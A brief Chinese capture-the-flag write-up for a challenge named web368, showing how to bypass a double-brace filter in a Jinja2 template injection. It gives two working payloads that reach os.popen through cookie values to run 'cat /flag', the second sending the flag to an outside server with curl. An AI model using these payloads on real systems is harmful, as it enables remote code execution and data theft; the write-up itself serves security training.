web368

这题只是比上一题增加了一个过滤双大括号,“{%”还是可以的,所以直接用print()复用上一题的payload把flag带出就行了

第一种做法,print带回flag

payload

?name={% print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()) %}

cookies

a=__globals__;b=os;c=cat /flag

第二种做法,使用怪方法带回flag

比如这种(有服务器的狂喜)

payload

?name={% if (lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}1{% endif %}

cookies

a=__globals__;b=os;c=curl http://bluexss.goblog.top/index.php?flag=`cat /flag`

这不也把flag带回来了嘛,而且还获得了靶机的ip,一举两得